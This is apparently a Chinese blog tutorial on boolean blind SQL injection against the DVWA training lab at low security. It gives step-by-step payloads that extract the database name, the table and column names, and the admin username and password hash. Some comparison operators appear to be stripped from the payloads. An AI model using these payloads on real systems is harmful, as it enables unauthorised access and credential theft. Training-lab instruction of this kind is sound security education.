【dvwa靶场】sql盲注payload原理(low)

张开发
2026/4/9 16:32:55 15 分钟阅读

分享文章

【dvwa靶场】sql盲注payload原理(low)
目的让 SQL 语句无论条件如何都返回“真”从而让页面显示“存在”。简单示例操作输入1 and 11点击 Submit。应该返回 “User ID exists in the database.”。核心原理可以通过控制and后面的条件让页面返回“存在”或“不存在”就像一个“是/否”的回答器。这就是基于布尔真/假的盲注的核心原理。获取数据库名字长度以及名称猜长度length函数——获取长度1.输入1 and length(database()) 1 #点击 Submit。2.当你输入1 and length(database()) 4 #时页面显示“存在”。猜字符substr函数——截取字符串ascii函数——将字母转为ASCII码来比较更通用substr(string, start, length)从 string的第 start个字符开始截取 length个字符。例如 substr(“abcd”, 2, 1)得到 b。ascii(char)返回字符的 ASCII 码。例如 ascii(‘a’)是 97。操作我们从第一个字符开始猜。输入1 and ascii(substr(database(),1,1)) 100 # 点击 Submit。意思是数据库名的第1个字符的ASCII码等于100即字母‘d’吗界面显示存在说明第一个字符是d2.重复步骤猜出四个字符获取数据库里表名猜表名长度limit 关键字——limit 01表示从第一个位置取一个输入以下payload攻击载荷1 and length((select table_name from information_schema.tables where table_schemadvwa limit 0,1)) 9 #第一个表长是9猜表名和猜数据库名一样用substr和ascii逐个字符猜解。操作猜第一个字符1 and ascii(substr((select table_name from information_schema.tables where table_schemadvwa limit 0,1),1,1)) ? #重复直到猜出全部9个字符。假设你猜出来是g,u,e,s,t,b,o,o,k。结论第一个表是guestbook。user表是第二个获取 users 表的列名我们需要知道users表里有哪些列特别是存放用户名和密码的列名。操作逻辑和猜表名完全一样只是换了个系统表输入payload猜users表的第一个列名的长度1 and length((select column_name from information_schema.columns where table_schemadvwa and table_nameusers limit 0,1)) 1 #1 and ascii(substr((select column_name from information_schema.columns where table_schemadvwa and table_nameusers limit 0,1),1,1)) 117 #(u)假设猜出来长度是7然后猜名字最终得到user_id。修改limit 1,1猜第二个列可能是first_name。修改limit 2,1猜第三个列可能是last_name。修改limit 3,1猜第四个列可能是user。修改limit 4,1猜第五个列可能是password。结论我们找到了关键的两列user和password。获取用户名和密码现在我们从users表的user和password列中提取数据。1. 获取第一个用户的用户名操作猜用户名的长度1 and length((select user from users limit 0,1)) 1 #假设猜出来长度是5然后猜字符。最终得到admin。2. 获取第一个用户的密码MD5哈希值DVWA 中的密码是经过 MD5 加密的 32 位字符串。操作猜密码的长度肯定是32位但我们可以验证一下1 and length((select password from users limit 0,1)) 32 #应该返回“存在”。然后用老办法通过substr((select password from users limit 0,1), 1,1)来猜这32个字符。MD5哈希值由数字0-9和字母a-f组成范围小很多。最终你会得到一个32位的字符串例如5f4dcc3b5aa765d61d8327deb882cf99(这是 “password” 的MD5值)。3. 获取更多用户如果你想获取第二个用户如gordonb的信息只需将上面 payload 中的limit 0,1改为limit 1,1即可。总结与注意事项核心思想布尔盲注就是问数据库一系列“是/非”问题通过页面的不同回显来推断答案。关键函数length(),substr(),ascii(),database(),limit关键系统表information_schema.tables(存放表信息),information_schema.columns(存放列信息)过程极其繁琐手工盲注非常耗时上面每一步的“猜解”在实际中可能需要几十甚至上百次请求。所以在真实测试或中高级别中安全人员都会使用sqlmap这样的自动化工具。但作为新手理解这个手工过程对于掌握原理至关重要。下一步当你完全理解这个Low级别的过程后可以尝试 Medium 和 High 级别看看增加了哪些防护如下拉菜单、Token验证以及如何绕过它们。按照这个步骤一步步尝试了。记住耐心是关键如果有帮助可否关注作者一下下QWQ

更多文章